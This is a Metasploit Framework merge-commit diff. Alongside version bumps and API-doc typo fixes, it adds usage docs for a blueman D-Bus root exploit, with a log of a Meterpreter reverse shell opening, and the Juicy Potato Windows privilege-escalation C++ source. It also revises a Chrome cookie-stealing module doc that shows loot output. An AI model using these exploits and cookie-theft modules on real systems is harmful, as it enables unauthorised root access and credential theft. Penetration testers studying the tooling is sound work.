Merge pull request #3 from rapid7/master

aaa
GSoC/Meterpreter_Web_Console
Pedro Ribeiro 2019-01-21 16:37:36 +07:00 committed by GitHub
commit 8308ec1c1d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
63 changed files with 3561 additions and 145 deletions

View File

@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (5.0.1)
metasploit-framework (5.0.2)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -178,7 +178,7 @@ GEM
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.58)
metasploit_data_models (3.0.2)
metasploit_data_models (3.0.4)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
arel-helpers
@ -199,7 +199,7 @@ GEM
net-ssh (5.1.0)
network_interface (0.0.2)
nexpose (7.2.1)
nokogiri (1.10.0)
nokogiri (1.10.1)
mini_portile2 (~> 2.4.0)
octokit (4.13.0)
sawyer (~> 0.8.0, >= 0.5.3)
@ -245,7 +245,7 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (12.3.2)
rb-readline (0.5.5)
recog (2.1.44)
recog (2.1.45)
nokogiri
redcarpet (3.4.0)
rex-arch (0.1.13)

View File

@ -44,10 +44,10 @@ loofah, 2.2.3, MIT
metasm, 1.0.3, LGPL
metasploit-concern, 2.0.5, "New BSD"
metasploit-credential, 3.0.2, "New BSD"
metasploit-framework, 5.0.1, "New BSD"
metasploit-framework, 5.0.2, "New BSD"
metasploit-model, 2.0.4, "New BSD"
metasploit-payloads, 1.3.58, "3-clause (or ""modified"") BSD"
metasploit_data_models, 3.0.2, "New BSD"
metasploit_data_models, 3.0.4, "New BSD"
metasploit_payloads-mettle, 0.5.1, "3-clause (or ""modified"") BSD"
method_source, 0.9.2, MIT
mini_portile2, 2.4.0, MIT
@ -59,7 +59,7 @@ nessus_rest, 0.1.6, MIT
net-ssh, 5.1.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.2.1, "New BSD"
nokogiri, 1.10.0, MIT
nokogiri, 1.10.1, MIT
octokit, 4.13.0, MIT
openssl-ccm, 1.2.2, MIT
openvas-omp, 0.0.4, MIT
@ -81,7 +81,7 @@ rails-html-sanitizer, 1.0.4, MIT
railties, 4.2.11, MIT
rake, 12.3.2, MIT
rb-readline, 0.5.5, BSD
recog, 2.1.44, unknown
recog, 2.1.45, unknown
redcarpet, 3.4.0, MIT
rex-arch, 0.1.13, "New BSD"
rex-bin_tools, 0.1.6, "New BSD"

Binary file not shown.

Binary file not shown.

File diff suppressed because one or more lines are too long

View File

@ -328,7 +328,7 @@ module CredentialApiDoc
#Swagger documentation for /api/v1/credentials/:id PUT
operation :put do
key :description, 'Update the attributes an existing credential.'
key :description, 'Update the attributes on an existing credential.'
key :tags, [ 'credential' ]
parameter :update_id

View File

@ -266,7 +266,7 @@ module HostApiDoc
# Swagger documentation for /api/v1/hosts/:id PUT
operation :put do
key :description, 'Update the attributes an existing host.'
key :description, 'Update the attributes on an existing host.'
key :tags, [ 'host' ]
parameter :update_id

View File

@ -193,7 +193,7 @@ module LoginApiDoc
# Swagger documentation for /api/v1/logins/:id PUT
operation :put do
key :description, 'Update the attributes an existing login.'
key :description, 'Update the attributes on an existing login.'
key :tags, [ 'login' ]
parameter :update_id

View File

@ -195,7 +195,7 @@ module LootApiDoc
# Swagger documentation for /api/v1/loots/{id} PUT
operation :put do
key :description, 'Update the attributes an existing loot.'
key :description, 'Update the attributes on an existing loot.'
key :tags, [ 'loot' ]
parameter :update_id

View File

@ -184,7 +184,7 @@ module NoteApiDoc
# Swagger documentation for /api/v1/notes/:id PUT
operation :put do
key :description, 'Update the attributes an existing note.'
key :description, 'Update the attributes on an existing note.'
key :tags, [ 'note' ]
parameter :update_id

View File

@ -187,7 +187,7 @@ module ServiceApiDoc
# Swagger documentation for /api/v1/services/:id PUT
operation :put do
key :description, 'Update the attributes an existing service.'
key :description, 'Update the attributes on an existing service.'
key :tags, [ 'service' ]
parameter :update_id

View File

@ -86,7 +86,7 @@ module SessionApiDoc
end
swagger_path '/api/v1/sessions/{id}' do
# Swagger documentation for api/v1/sessions/:id GET
# Swagger documentation for /api/v1/sessions/:id GET
operation :get do
key :description, 'Return a specific session that is stored in the database.'
key :tags, [ 'session' ]

View File

@ -211,7 +211,7 @@ module VulnApiDoc
# Swagger documentation for /api/v1/vulns/:id PUT
operation :put do
key :description, 'Update the attributes an existing vuln.'
key :description, 'Update the attributes on an existing vuln.'
key :tags, [ 'vuln' ]
parameter :update_id

View File

@ -173,7 +173,7 @@ module WorkspaceApiDoc
# Swagger documentation for /api/v1/workspaces/:id PUT
operation :put do
key :description, 'Update the attributes an existing workspaces.'
key :description, 'Update the attributes on an existing workspace.'
key :tags, [ 'workspace' ]
parameter :update_id

View File

@ -0,0 +1,86 @@
## Description
This module attempts to gain root privileges by exploiting a Python
code injection vulnerability in blueman versions prior to 2.0.3.
The `org.blueman.Mechanism.EnableNetwork` D-Bus interface exposes the
`set_dhcp_handler` function which uses user input in a call to `eval`,
without sanitization, resulting in arbitrary code execution as root.
This module has been tested successfully with blueman version 1.23
on Debian 8 Jessie (x64).
## Vulnerable Application
This module has been tested successfully with:
* blueman version 1.23 on Debian 8 Jessie (x64)
Old versions of the `blueman` package are available in [Debian snapshots](https://snapshot.debian.org/).
The following `/etc/apt/sources.list` configuration will allow a vulnerable
version of the `blueman` package to be installed:
```
deb [check-valid-until=no] http://snapshot.debian.org/archive/debian/20140827T042507Z/ jessie main
deb-src [check-valid-until=no] http://snapshot.debian.org/archive/debian/20140827T042507Z/ jessie main
```
Update the package sources with `apt-get -o Acquire::Check-Valid-Until=false update`
The package can be installed with `apt-get install blueman`
## Verification Steps
1. Start `msfconsole`
2. Get a session
3. `use exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc`
4. `set SESSION [SESSION]`
5. `check`
6. `run`
7. You should get a new *root* session
## Options
**SESSION**
Which session to use, which can be viewed with `sessions`
**WritableDir**
A writable directory file system path. (default: `/tmp`)
## Scenarios
```
msf5 > use exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set lhost 172.16.191.188
lhost => 172.16.191.188
msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[*] Writing '/tmp/.DKJWL0TG7sm0M5' (249 bytes) ...
[*] Executing payload...
[*] Sending stage (861348 bytes) to 172.16.191.156
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.156:58863) at 2018-12-24 02:44:25 -0500
[+] Deleted /tmp/.DKJWL0TG7sm0M5
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : debian-8-1-x64.local
OS : Debian 8.1 (Linux 3.16.0-4-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```

View File

@ -0,0 +1,29 @@
## Intro
This module utilizes the Net-NTLMv2 reflection between DCOM/RPC to achieve a SYSTEM handle for elevation of privilege. It needs a CLSID to function, a list of which can be found here: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
From https://github.com/ohpe/juicy-potato:
> RottenPotatoNG and its variants leverages the privilege escalation chain based on BITS service having the MiTM listener on 127.0.0.1:6666 and when you have SeImpersonate or SeAssignPrimaryToken privileges. During a Windows build review we found a setup where BITS was intentionally disabled and port 6666 was taken.
> We decided to weaponize RottenPotatoNG: Say hello to Juicy Potato.
For more info see:
- [Rotten Potato](https://github.com/foxglovesec/RottenPotato)
- [Lonely Potato](https://decoder.cloud/2017/12/23/the-lonely-potato/)
- [Juicy Potato](https://ohpe.it/juicy-potato/)
## Usage
The session you wish to escalate must already have the SeImpersonate privilege.
![image](https://user-images.githubusercontent.com/984628/51068493-2b6ef500-161f-11e9-9287-1eac0f942f87.png)
## Scenarios:
Example with BITS CLSID (NT AUTHORITY\SYSTEM):
![image](https://user-images.githubusercontent.com/984628/50982077-aa1f4180-14fc-11e9-94f4-1a50ce765e0f.png)
Example with UPNP CLSID (NT AUTHORITY\LOCAL SERVICE):
![image](https://user-images.githubusercontent.com/984628/50982170-d76bef80-14fc-11e9-9124-ab43d69cb15c.png)

View File

@ -1,16 +1,20 @@
## Gather Chrome Cookies
Uses [Headless Chrome](https://developers.google.com/web/updates/2017/04/headless-chrome) and [Chrome's Remote Debugging](https://chromedevtools.github.io/devtools-protocol/) to read all cookies from the Default Chrome profile of the user.
Reads all cookies from the Default Chrome Profile on the target machine. Uses [Headless Chrome](https://developers.google.com/web/updates/2017/04/headless-chrome) and [Chrome's Remote Debugging](https://chromedevtools.github.io/devtools-protocol/).
## Opsec
This writes to disk temporarily. You may want to consider the tradeoff between getting the user's Chrome cookies and the noisiness of writing to disk.
### Disk writes
This writes randomly-named files to disk temporarily. You may want to consider the tradeoff between getting the user's Chrome cookies and the noisiness of writing to disk.
The module writes a random 10-15 character file containing HTML to a directory you can specify via `WRITABLE_DIR`.
### Running processes
On non-Windows non-meterpreter sessions, a headless Chrome process will be left running after module execution is completed. You can still find and kill this process manually after the module execution is completed.
## Vulnerable Application
This technique works on Chrome 59 or later on all operating systems. This module has been tested on Windows, Linux, and OSX. Windows shell sessions are currently not supported.
This module works on Chrome 59 or later on all operating systems. This module has been tested on Windows, Linux, and OSX.
Chrome does not need to be running on the target machine for this module to work.
@ -40,7 +44,7 @@ Chrome does not need to be running on the target machine for this module to work
## Scenarios
### Linux (or OS X)
### Windows
Suppose you've got a session on the target machine.
@ -57,15 +61,24 @@ Module options (post/multi/gather/chrome_cookies):
CHROME_BINARY_PATH no The path to the user's Chrome binary (leave blank to use the default for the OS)
REMOTE_DEBUGGING_PORT 9222 no Port on target machine to use for remote debugging protocol
SESSION 1 yes The session to run this module on.
WRITABLE_DIR /tmp no Where to write the html used to steal cookies temporarily
WRITEABLE_DIR no Where to write the html used to steal cookies temporarily, and the cookies. Leave blank to use the default for the OS (/tmp or AppData\Local\Temp)
msf post(multi/gather/chrome_cookies) > set session <your session id>
session => <your session id>
msf post(multi/gather/chrome_cookies) > run
[*] Activated Chrome's Remote Debugging via google-chrome --headless --disable-web-security --disable-plugins --user-data-dir="/home/<username>/.config/google-chrome/" --remote-debugging-port=9222 /tmp/qj9ADWM6Xqh
[+] 1473 Chrome Cookies stored in /home/<local_username>/.msf4/loot/20181209094655_default_127.0.0.1_chrome.gather.co_585357.txt
[*] Determining session platform
[*] Platform: windows
[*] Type: meterpreter
[*] Activated Chrome's Remote Debugging (pid: 9452) via "\Program Files (x86)\Google\Chrome\Application\chrome.exe" --window-position=0,0 --enable-logging --v=1 --disable-translate --disable-extensions --disable-background-networking --safebrowsing-disable-auto-update --disable-sync --metrics-recording-only --disable-default-apps --mute-audio --no-first-run --disable-web-security --disable-plugins --disable-gpu --user-data-dir="\Users\msfdev\AppData\Local\Google\Chrome\User Data" --remote-debugging-port=9222 \Users\msfdev\AppData\Local\Temp\YaW8HKZdkk2s85D.html
[+] Found Match
[+] 169 Chrome Cookies stored in /home/msfdev/.msf4/loot/20190108065112_default_172.22.222.200_chrome.gather.co_082863.txt
[*] Removing file \Users\msfdev\AppData\Local\Temp\YaW8HKZdkk2s85D.html
[*] Removing file \Users\msfdev\AppData\Local\Google\Chrome\User Data\chrome_debug.log
[*] Post module execution completed
msf5 post(multi/gather/chrome_cookies) >
```
## Future features

View File

@ -0,0 +1,5 @@
.vs
.DS_Store
Debug/
Release/
ipch/

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.26403.7
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "JuicyPotato", "JuicyPotato\JuicyPotato.vcxproj", "{4164003E-BA47-4A95-8586-D5AAC399C050}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.ActiveCfg = Release|Win32
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x64.Build.0 = Release|Win32
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.ActiveCfg = Release|x64
{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.Build.0 = Release|x64
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.ActiveCfg = Release|x64
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.Build.0 = Release|x64
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.ActiveCfg = Release|Win32
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {3B4F867D-2997-4A0F-A8AD-9D4729DA3439}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,41 @@
#pragma once
#include <mutex>
#include <queue>
#include "stdafx.h"
typedef std::mutex Mutex;
template<typename ITEM> class BlockingQueue{
public:
void push(const ITEM& value) { // push
std::lock_guard<Mutex> lock(mutex);
queue.push(std::move(value));
condition.notify_one();
}
bool try_pop(ITEM& value) { // non-blocking pop
std::lock_guard<Mutex> lock(mutex);
if (queue.empty()) return false;
value = std::move(queue.front());
queue.pop();
return true;
}
ITEM wait_pop() { // blocking pop
std::unique_lock<Mutex> lock(mutex);
condition.wait(lock, [this] {return !queue.empty(); });
ITEM const value = std::move(queue.front());
queue.pop();
return value;
}
bool empty() const { // queue is empty?
std::lock_guard<Mutex> lock(mutex);
return queue.empty();
}
void clear() { // remove all items
ITEM item;
while (try_pop(item));
}
private:
Mutex mutex;
std::queue<ITEM> queue;
std::condition_variable condition;
};

View File

@ -0,0 +1,218 @@
#include "stdafx.h"
#include "IStorageTrigger.h"
#include <string>
#include <wchar.h>
extern PCSTR DEF_PORT;
extern char dcom_port[12];
extern char dcom_ip[17];
IStorageTrigger::IStorageTrigger(IStorage *istg) {
_stg = istg;
m_cRef = 1;
return;
}
HRESULT IStorageTrigger::DisconnectObject(DWORD dwReserved) {
return 0;
}
HRESULT IStorageTrigger::GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize) {
*pSize = 1024;
//printf("IStorageTrigger GetMarshalSizeMax\n");
return 0;
}
HRESULT IStorageTrigger::GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid) {
CLSIDFromString(OLESTR("{00000306-0000-0000-c000-000000000046}"), pCid);
//printf("IStorageTrigger GetUnmarshalClass\n");
return 0;
}
HRESULT IStorageTrigger::MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags) {
// Marshalling Port & Ip address of COM Server
short sec_len = 8;
int port_len = strlen(dcom_port);
char *ipaddr = dcom_ip;
unsigned short str_bindlen = ((strlen(ipaddr) + port_len + 2) * 2) + 6;
unsigned short total_length = (str_bindlen + sec_len) / 2;
unsigned char sec_offset = str_bindlen / 2;
port_len = port_len * 2;
byte data_0[] = {
0x4d,0x45,0x4f,0x57,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0xcc,0x96,0xec,0x06,0x4a,0xd8,0x03,0x07,0xac,0x31,0xce,0x9c,0x02,0x9d,0x53,0x00,0x9f,0x93,0x2c,0x04,
0xcd,0x54,0xd4,0xef,0x4b,0xbd,0x1c,0x3b,0xae,0x97,0x21,0x45
};
byte *dataip;
int len = strlen(ipaddr) * 2;
dataip = (byte *)malloc(len);
for (int i = 0; i < len; i++)
{
if (i % 2)
dataip[i] = *ipaddr++;
else
dataip[i] = 0;
}
byte data_4[] = { 0x00,0x5d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0xff,
0xff, 0x00, 0x00, 0x00, 0x00
};
byte data_1[4];
data_1[0] = total_length;
data_1[1] = 0;
data_1[2] = sec_offset;
data_1[3] = 0;
byte *data_3;
data_3 = (byte *)malloc((port_len));
byte *strport = (byte *)&dcom_port[0];
for (int i = 0; i < (port_len); i++)
{
if (i % 2)
data_3[i] = *strport++;
else
data_3[i] = 0;
}
int size = sizeof(data_0) + sizeof(data_1) + len + 2 + 1 + port_len + sizeof(data_4);
byte * marshalbuf = (byte *)malloc(size);
int r = 0;
memcpy(&marshalbuf[r], data_0, sizeof(data_0));
r = sizeof(data_0);
memcpy(&marshalbuf[r], data_1, sizeof(data_1));
r = r + sizeof(data_1);
byte tmp1[] = { 0x07 };
memcpy(&marshalbuf[r], tmp1, 1);
r = r + 1;
memcpy(&marshalbuf[r], dataip, len);
r = r + len;
byte tmp[] = { 0x00,0x5b };
memcpy(&marshalbuf[r], tmp, 2);
r = r + 2;
memcpy(&marshalbuf[r], data_3, port_len);
r = r + (port_len);
memcpy(&marshalbuf[r], data_4, sizeof(data_4));
ULONG written = 0;
pStm->Write(&marshalbuf[0], size, &written);
free(marshalbuf);
free(dataip);
free(data_3);
return 0;
}
HRESULT IStorageTrigger::ReleaseMarshalData(IStream *pStm) {
return 0;
}
HRESULT IStorageTrigger::UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv) {
*ppv = 0;
return 0;
}
HRESULT IStorageTrigger::Commit(DWORD grfCommitFlags) {
_stg->Commit(grfCommitFlags);
return 0;
}
HRESULT IStorageTrigger::CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest) {
_stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);
return 0;
}
HRESULT IStorageTrigger::CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg) {
_stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg);
return 0;
}
HRESULT IStorageTrigger::CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm) {
_stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm);
return 0;
}
HRESULT IStorageTrigger::DestroyElement(const OLECHAR *pwcsName) {
_stg->DestroyElement(pwcsName);
return 0;
}
HRESULT IStorageTrigger::EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum) {
_stg->EnumElements(reserved1, reserved2, reserved3, ppenum);
return 0;
}
HRESULT IStorageTrigger::MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags) {
_stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);
return 0;
}
HRESULT IStorageTrigger::OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg) {
_stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg);
return 0;
}
HRESULT IStorageTrigger::OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm) {
_stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm);
return 0;
}
HRESULT IStorageTrigger::RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName) {
return 0;
}
HRESULT IStorageTrigger::Revert() {
return 0;
}
HRESULT IStorageTrigger::SetClass(const IID &clsid) {
return 0;
}
HRESULT IStorageTrigger::SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime) {
return 0;
}
HRESULT IStorageTrigger::SetStateBits(DWORD grfStateBits, DWORD grfMask) {
return 0;
}
HRESULT IStorageTrigger::Stat(STATSTG *pstatstg, DWORD grfStatFlag) {
_stg->Stat(pstatstg, grfStatFlag);
//Allocate from heap because apparently this will get freed in OLE32
const wchar_t c_s[] = L"hello.stg";
wchar_t *s = (wchar_t*)CoTaskMemAlloc(sizeof(c_s));
wcscpy(s, c_s);
pstatstg[0].pwcsName = s;
return 0;
}
///////////////////////IUknown Interface
HRESULT IStorageTrigger::QueryInterface(const IID &riid, void **ppvObj) {
// Always set out parameter to NULL, validating it first.
if (!ppvObj) {
//printf("QueryInterface INVALID\n");
return E_INVALIDARG;
}
if (riid == IID_IUnknown)
{
*ppvObj = static_cast<IStorageTrigger *>(this);
//reinterpret_cast<IUnknown*>(*ppvObj)->AddRef();
}
else if (riid == IID_IStorage)
{
*ppvObj = static_cast<IStorageTrigger *>(this);
}
else if (riid == IID_IMarshal)
{
*ppvObj = static_cast<IStorageTrigger *>(this);
}
else
{
*ppvObj = NULL;
//printf("QueryInterface NOINT\n");
return E_NOINTERFACE;
}
// Increment the reference count and return the pointer.
return S_OK;
}
ULONG IStorageTrigger::AddRef() {
m_cRef++;
return m_cRef;
}
ULONG IStorageTrigger::Release() {
// Decrement the object's internal counter.
ULONG ulRefCount = m_cRef--;
return ulRefCount;
}

View File

@ -0,0 +1,35 @@
#pragma once
#include "Objidl.h"
class IStorageTrigger : public IMarshal, public IStorage {
private:
IStorage *_stg;
int m_cRef;
public:
IStorageTrigger(IStorage *stg);
HRESULT STDMETHODCALLTYPE DisconnectObject(DWORD dwReserved);
HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize);
HRESULT STDMETHODCALLTYPE GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid);
HRESULT STDMETHODCALLTYPE MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags);
HRESULT STDMETHODCALLTYPE ReleaseMarshalData(IStream *pStm);
HRESULT STDMETHODCALLTYPE UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv);
HRESULT STDMETHODCALLTYPE Commit(DWORD grfCommitFlags);
HRESULT STDMETHODCALLTYPE CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest);
HRESULT STDMETHODCALLTYPE CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg);
HRESULT STDMETHODCALLTYPE CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm);
HRESULT STDMETHODCALLTYPE DestroyElement(const OLECHAR *pwcsName);
HRESULT STDMETHODCALLTYPE EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum);
HRESULT STDMETHODCALLTYPE MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags);
HRESULT STDMETHODCALLTYPE OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg);
HRESULT STDMETHODCALLTYPE OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm);
HRESULT STDMETHODCALLTYPE RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName);
HRESULT STDMETHODCALLTYPE Revert();
HRESULT STDMETHODCALLTYPE SetClass(const IID &clsid);
HRESULT STDMETHODCALLTYPE SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime);
HRESULT STDMETHODCALLTYPE SetStateBits(DWORD grfStateBits, DWORD grfMask);
HRESULT STDMETHODCALLTYPE Stat(STATSTG *pstatstg, DWORD grfStatFlag);
HRESULT STDMETHODCALLTYPE QueryInterface(const IID &riid, void **ppvObject);
ULONG STDMETHODCALLTYPE AddRef();
ULONG STDMETHODCALLTYPE Release();
};

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,200 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{4164003E-BA47-4A95-8586-D5AAC399C050}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>JuicyPotato</RootNamespace>
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
<ProjectName>JuicyPotato</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)$(Configuration)\$(Platform)\</OutDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
